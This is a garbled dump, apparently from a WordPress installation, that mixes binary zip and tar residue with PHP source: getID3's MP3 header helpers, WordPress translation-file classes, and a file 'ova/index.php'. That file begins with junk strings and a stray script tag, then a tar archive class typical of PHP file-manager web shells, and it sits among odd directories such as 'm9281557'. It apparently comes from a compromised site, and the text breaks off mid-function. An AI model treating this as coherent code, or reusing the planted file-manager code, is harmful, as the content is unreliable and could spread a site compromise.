'12-31', '16-31'), 3 => array('', 'IS', 'MS', 'IS+MS') ); } return $MPEGaudioModeExtension; } /** * @return array */ public static function MPEGaudioEmphasisArray() { static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17'); return $MPEGaudioEmphasis; } /** * @param string $head4 * @param bool $allowBitrate15 * * @return bool */ public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) { return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15); } /** * @param array $rawarray * @param bool $echoerrors * @param bool $allowBitrate15 * * @return bool */ public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) { if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) { return false; } static $MPEGaudioVersionLookup; static $MPEGaudioLayerLookup; static $MPEGaudioBitrateLookup; static $MPEGaudioFrequencyLookup; static $MPEGaudioChannelModeLookup; static $MPEGaudioModeExtensionLookup; static $MPEGaudioEmphasisLookup; if (empty($MPEGaudioVersionLookup)) { $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); } if (isset($MPEGaudioVersionLookup[$rawarray['version']])) { $decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']]; } else { echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : ''); return false; } if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) { $decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']]; } else { echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : ''); return false; } if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) { echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : ''); if ($rawarray['bitrate'] == 15) { // known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0 // let it go through here otherwise file will not be identified if (!$allowBitrate15) { return false; } } else { return false; } } if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) { echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : ''); return false; } if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) { echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : ''); return false; } if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) { echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : ''); return false; } if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) { echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : ''); return false; } // These are just either set or not set, you can't mess that up :) // $rawarray['protection']; // $rawarray['padding']; // $rawarray['private']; // $rawarray['copyright']; // $rawarray['original']; return true; } /** * @param string $Header4Bytes * * @return array|false */ public static function MPEGaudioHeaderDecode($Header4Bytes) { // AAAA AAAA AAAB BCCD EEEE FFGH IIJJ KLMM // A - Frame sync (all bits set) // B - MPEG Audio version ID // C - Layer description // D - Protection bit // E - Bitrate index // F - Sampling rate frequency index // G - Padding bit // H - Private bit // I - Channel Mode // J - Mode extension (Only if Joint stereo) // K - Copyright // L - Original // M - Emphasis if (strlen($Header4Bytes) != 4) { return false; } $MPEGrawHeader = array(); $MPEGrawHeader['synch'] = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4; $MPEGrawHeader['version'] = (ord($Header4Bytes[1]) & 0x18) >> 3; // BB $MPEGrawHeader['layer'] = (ord($Header4Bytes[1]) & 0x06) >> 1; // CC $MPEGrawHeader['protection'] = (ord($Header4Bytes[1]) & 0x01); // D $MPEGrawHeader['bitrate'] = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE $MPEGrawHeader['sample_rate'] = (ord($Header4Bytes[2]) & 0x0C) >> 2; // FF $MPEGrawHeader['padding'] = (ord($Header4Bytes[2]) & 0x02) >> 1; // G $MPEGrawHeader['private'] = (ord($Header4Bytes[2]) & 0x01); // H $MPEGrawHeader['channelmode'] = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II $MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; // JJ $MPEGrawHeader['copyright'] = (ord($Header4Bytes[3]) & 0x08) >> 3; // K $MPEGrawHeader['original'] = (ord($Header4Bytes[3]) & 0x04) >> 2; // L $MPEGrawHeader['emphasis'] = (ord($Header4Bytes[3]) & 0x03); // MM return $MPEGrawHeader; } /** * @param int|string $bitrate * @param string $version * @param string $layer * @param bool $padding * @param int $samplerate * * @return int|false */ public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) { static $AudioFrameLengthCache = array(); if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) { $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false; if ($bitrate != 'free') { if ($version == '1') { if ($layer == '1') { // For Layer I slot is 32 bits long $FrameLengthCoefficient = 48; $SlotLength = 4; } else { // Layer 2 / 3 // for Layer 2 and Layer 3 slot is 8 bits long. $FrameLengthCoefficient = 144; $SlotLength = 1; } } else { // MPEG-2 / MPEG-2.5 if ($layer == '1') { // For Layer I slot is 32 bits long $FrameLengthCoefficient = 24; $SlotLength = 4; } elseif ($layer == '2') { // for Layer 2 and Layer 3 slot is 8 bits long. $FrameLengthCoefficient = 144; $SlotLength = 1; } else { // layer 3 // for Layer 2 and Layer 3 slot is 8 bits long. $FrameLengthCoefficient = 72; $SlotLength = 1; } } // FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding if ($samplerate > 0) { $NewFramelength = ($FrameLengthCoefficient * $bitrate) / $samplerate; $NewFramelength = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I) if ($padding) { $NewFramelength += $SlotLength; } $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength; } } } return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate]; } /** * @param float|int $bit_rate * * @return int|float|string */ public static function ClosestStandardMP3Bitrate($bit_rate) { static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000); static $bit_rate_table = array (0=>'-'); $round_bit_rate = intval(round($bit_rate, -3)); if (!isset($bit_rate_table[$round_bit_rate])) { if ($round_bit_rate > max($standard_bit_rates)) { $bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate)); } else { $bit_rate_table[$round_bit_rate] = max($standard_bit_rates); foreach ($standard_bit_rates as $standard_bit_rate) { if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) { break; } $bit_rate_table[$round_bit_rate] = $standard_bit_rate; } } } return $bit_rate_table[$round_bit_rate]; } /** * @param string $version * @param string $channelmode * * @return int */ public static function XingVBRidOffset($version, $channelmode) { static $XingVBRidOffsetCache = array(); if (empty($XingVBRidOffsetCache)) { $XingVBRidOffsetCache = array ( '1' => array ('mono' => 0x15, // 4 + 17 = 21 'stereo' => 0x24, // 4 + 32 = 36 'joint stereo' => 0x24, 'dual channel' => 0x24 ), '2' => array ('mono' => 0x0D, // 4 + 9 = 13 'stereo' => 0x15, // 4 + 17 = 21 'joint stereo' => 0x15, 'dual channel' => 0x15 ), '2.5' => array ('mono' => 0x15, 'stereo' => 0x15, 'joint stereo' => 0x15, 'dual channel' => 0x15 ) ); } return $XingVBRidOffsetCache[$version][$channelmode]; } /** * @param int $VBRmethodID * * @return string */ public static function LAMEvbrMethodLookup($VBRmethodID) { static $LAMEvbrMethodLookup = array( 0x00 => 'unknown', 0x01 => 'cbr', 0x02 => 'abr', 0x03 => 'vbr-old / vbr-rh', 0x04 => 'vbr-new / vbr-mtrh', 0x05 => 'vbr-mt', 0x06 => 'vbr (full vbr method 4)', 0x08 => 'cbr (constant bitrate 2 pass)', 0x09 => 'abr (2 pass)', 0x0F => 'reserved' ); return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : ''); } /** * @param int $StereoModeID * * @return string */ public static function LAMEmiscStereoModeLookup($StereoModeID) { static $LAMEmiscStereoModeLookup = array( 0 => 'mono', 1 => 'stereo', 2 => 'dual mono', 3 => 'joint stereo', 4 => 'forced stereo', 5 => 'auto', 6 => 'intensity stereo', 7 => 'other' ); return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : ''); } /** * @param int $SourceSampleFrequencyID * * @return string */ public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) { static $LAMEmiscSourceSampleFrequencyLookup = array( 0 => '<= 32 kHz', 1 => '44.1 kHz', 2 => '48 kHz', 3 => '> 48kHz' ); return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : ''); } /** * @param int $SurroundInfoID * * @return string */ public static function LAMEsurroundInfoLookup($SurroundInfoID) { static $LAMEsurroundInfoLookup = array( 0 => 'no surround info', 1 => 'DPL encoding', 2 => 'DPL2 encoding', 3 => 'Ambisonic encoding' ); return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved'); } /** * @param array $LAMEtag * * @return string */ public static function LAMEpresetUsedLookup($LAMEtag) { if ($LAMEtag['preset_used_id'] == 0) { // no preset used (LAME >=3.93) // no preset recorded (LAME <3.93) return ''; } $LAMEpresetUsedLookup = array(); ///// THIS PART CANNOT BE STATIC . for ($i = 8; $i <= 320; $i++) { switch ($LAMEtag['vbr_method']) { case 'cbr': $LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i; break; case 'abr': default: // other VBR modes shouldn't be here(?) $LAMEpresetUsedLookup[$i] = '--alt-preset '.$i; break; } } // named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions() // named alt-presets $LAMEpresetUsedLookup[1000] = '--r3mix'; $LAMEpresetUsedLookup[1001] = '--alt-preset standard'; $LAMEpresetUsedLookup[1002] = '--alt-preset extreme'; $LAMEpresetUsedLookup[1003] = '--alt-preset insane'; $LAMEpresetUsedLookup[1004] = '--alt-preset fast standard'; $LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme'; $LAMEpresetUsedLookup[1006] = '--alt-preset medium'; $LAMEpresetUsedLookup[1007] = '--alt-preset fast medium'; // LAME 3.94 additions/changes $LAMEpresetUsedLookup[1010] = '--preset portable'; // 3.94a15 Oct 21 2003 $LAMEpresetUsedLookup[1015] = '--preset radio'; // 3.94a15 Oct 21 2003 $LAMEpresetUsedLookup[320] = '--preset insane'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[410] = '-V9'; $LAMEpresetUsedLookup[420] = '-V8'; $LAMEpresetUsedLookup[440] = '-V6'; $LAMEpresetUsedLookup[430] = '--preset radio'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[450] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[460] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[470] = '--r3mix'; // 3.94b1 Dec 18 2003 $LAMEpresetUsedLookup[480] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[490] = '-V1'; $LAMEpresetUsedLookup[500] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme'; // 3.94a15 Nov 12 2003 return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org'); } } PKm"[module.audio.dts.phpnu[PKm"[Dmodule.audio.flac.phpnu[PKm"[module.audio.ac3.phpnu[PKm"[module.tag.apetag.phpnu[PKm"[ readme.txtnu[PKm"[ Lmodule.audio-video.quicktime.phpnu[PKm"[][7[7 ova/index.phpnu[PKm"[ 49index.phpnu[PKm"[m9281557/index.phpnu[PKm"[;jj9module.audio-video.riff.phpnu[PKm"[/֋bXmodule.audio-video.matroska.phpnu[PKm"[3u\u\<module.tag.id3v2.phpnu[PKm"[ ..Wmodule.tag.lyrics3.phpnu[PKm"[O!d<d< Zgetid3.phpnu[PKm"[ ~module.audio.ogg.phpnu[PKm"[hi::Pl module.tag.id3v1.phpnu[PKm"[%,tt \ license.txtnu[PKm"[L module.audio-video.asf.phpnu[PKm"[| getid3.lib.phpnu[PKm"[Gii module.audio-video.flv.phpnu[PKm"[ĥXf module.audio.mp3.phpnu[PK֡PK $[o!. ""l10n.tarnu[class-wp-translations.php000064400000007334150547657610011554 0ustar00 $headers * @property-read array $entries */ class WP_Translations { /** * Text domain. * * @since 6.5.0 * @var string */ protected $textdomain = 'default'; /** * Translation controller instance. * * @since 6.5.0 * @var WP_Translation_Controller */ protected $controller; /** * Constructor. * * @since 6.5.0 * * @param WP_Translation_Controller $controller I18N controller. * @param string $textdomain Optional. Text domain. Default 'default'. */ public function __construct( WP_Translation_Controller $controller, string $textdomain = 'default' ) { $this->controller = $controller; $this->textdomain = $textdomain; } /** * Magic getter for backward compatibility. * * @since 6.5.0 * * @param string $name Property name. * @return mixed */ public function __get( string $name ) { if ( 'entries' === $name ) { $entries = $this->controller->get_entries( $this->textdomain ); $result = array(); foreach ( $entries as $original => $translations ) { $result[] = $this->make_entry( $original, $translations ); } return $result; } if ( 'headers' === $name ) { return $this->controller->get_headers( $this->textdomain ); } return null; } /** * Builds a Translation_Entry from original string and translation strings. * * @see MO::make_entry() * * @since 6.5.0 * * @param string $original Original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator. * @param string $translations Translation strings from MO file. * @return Translation_Entry Entry instance. */ private function make_entry( $original, $translations ): Translation_Entry { $entry = new Translation_Entry(); // Look for context, separated by \4. $parts = explode( "\4", $original ); if ( isset( $parts[1] ) ) { $original = $parts[1]; $entry->context = $parts[0]; } $entry->singular = $original; $entry->translations = explode( "\0", $translations ); $entry->is_plural = count( $entry->translations ) > 1; return $entry; } /** * Translates a plural string. * * @since 6.5.0 * * @param string|null $singular Singular string. * @param string|null $plural Plural string. * @param int|float $count Count. Should be an integer, but some plugins pass floats. * @param string|null $context Context. * @return string|null Translation if it exists, or the unchanged singular string. */ public function translate_plural( $singular, $plural, $count = 1, $context = '' ) { if ( null === $singular || null === $plural ) { return $singular; } $translation = $this->controller->translate_plural( array( $singular, $plural ), (int) $count, (string) $context, $this->textdomain ); if ( false !== $translation ) { return $translation; } // Fall back to the original with English grammar rules. return ( 1 === $count ? $singular : $plural ); } /** * Translates a singular string. * * @since 6.5.0 * * @param string|null $singular Singular string. * @param string|null $context Context. * @return string|null Translation if it exists, or the unchanged singular string */ public function translate( $singular, $context = '' ) { if ( null === $singular ) { return null; } $translation = $this->controller->translate( $singular, (string) $context, $this->textdomain ); if ( false !== $translation ) { return $translation; } // Fall back to the original. return $singular; } } class-wp-translation-file-mo.php000064400000014340150547657610012712 0ustar00error = 'Magic marker does not exist'; return false; } /** * Parses the file. * * @since 6.5.0 * * @return bool True on success, false otherwise. */ protected function parse_file(): bool { $this->parsed = true; $file_contents = file_get_contents( $this->file ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents if ( false === $file_contents ) { return false; } $file_length = strlen( $file_contents ); if ( $file_length < 24 ) { $this->error = 'Invalid data'; return false; } $this->uint32 = $this->detect_endian_and_validate_file( substr( $file_contents, 0, 4 ) ); if ( false === $this->uint32 ) { return false; } $offsets = substr( $file_contents, 4, 24 ); if ( false === $offsets ) { return false; } $offsets = unpack( "{$this->uint32}rev/{$this->uint32}total/{$this->uint32}originals_addr/{$this->uint32}translations_addr/{$this->uint32}hash_length/{$this->uint32}hash_addr", $offsets ); if ( false === $offsets ) { return false; } $offsets['originals_length'] = $offsets['translations_addr'] - $offsets['originals_addr']; $offsets['translations_length'] = $offsets['hash_addr'] - $offsets['translations_addr']; if ( $offsets['rev'] > 0 ) { $this->error = 'Unsupported revision'; return false; } if ( $offsets['translations_addr'] > $file_length || $offsets['originals_addr'] > $file_length ) { $this->error = 'Invalid data'; return false; } // Load the Originals. $original_data = str_split( substr( $file_contents, $offsets['originals_addr'], $offsets['originals_length'] ), 8 ); $translations_data = str_split( substr( $file_contents, $offsets['translations_addr'], $offsets['translations_length'] ), 8 ); foreach ( array_keys( $original_data ) as $i ) { $o = unpack( "{$this->uint32}length/{$this->uint32}pos", $original_data[ $i ] ); $t = unpack( "{$this->uint32}length/{$this->uint32}pos", $translations_data[ $i ] ); if ( false === $o || false === $t ) { continue; } $original = substr( $file_contents, $o['pos'], $o['length'] ); $translation = substr( $file_contents, $t['pos'], $t['length'] ); // GlotPress bug. $translation = rtrim( $translation, "\0" ); // Metadata about the MO file is stored in the first translation entry. if ( '' === $original ) { foreach ( explode( "\n", $translation ) as $meta_line ) { if ( '' === $meta_line || ! str_contains( $meta_line, ':' ) ) { continue; } list( $name, $value ) = array_map( 'trim', explode( ':', $meta_line, 2 ) ); $this->headers[ strtolower( $name ) ] = $value; } } else { /* * In MO files, the key normally contains both singular and plural versions. * However, this just adds the singular string for lookup, * which caters for cases where both __( 'Product' ) and _n( 'Product', 'Products' ) * are used and the translation is expected to be the same for both. */ $parts = explode( "\0", (string) $original ); $this->entries[ $parts[0] ] = $translation; } } return true; } /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ public function export(): string { // Prefix the headers as the first key. $headers_string = ''; foreach ( $this->headers as $header => $value ) { $headers_string .= "{$header}: $value\n"; } $entries = array_merge( array( '' => $headers_string ), $this->entries ); $entry_count = count( $entries ); if ( false === $this->uint32 ) { $this->uint32 = 'V'; } $bytes_for_entries = $entry_count * 4 * 2; // Pair of 32bit ints per entry. $originals_addr = 28; /* header */ $translations_addr = $originals_addr + $bytes_for_entries; $hash_addr = $translations_addr + $bytes_for_entries; $entry_offsets = $hash_addr; $file_header = pack( $this->uint32 . '*', // Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678. (int) self::MAGIC_MARKER, 0, /* rev */ $entry_count, $originals_addr, $translations_addr, 0, /* hash_length */ $hash_addr ); $o_entries = ''; $t_entries = ''; $o_addr = ''; $t_addr = ''; foreach ( array_keys( $entries ) as $original ) { $o_addr .= pack( $this->uint32 . '*', strlen( $original ), $entry_offsets ); $entry_offsets += strlen( $original ) + 1; $o_entries .= $original . "\0"; } foreach ( $entries as $translations ) { $t_addr .= pack( $this->uint32 . '*', strlen( $translations ), $entry_offsets ); $entry_offsets += strlen( $translations ) + 1; $t_entries .= $translations . "\0"; } return $file_header . $o_addr . $t_addr . $o_entries . $t_entries; } } ova/index.php000064400000233533150547657620007203 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) 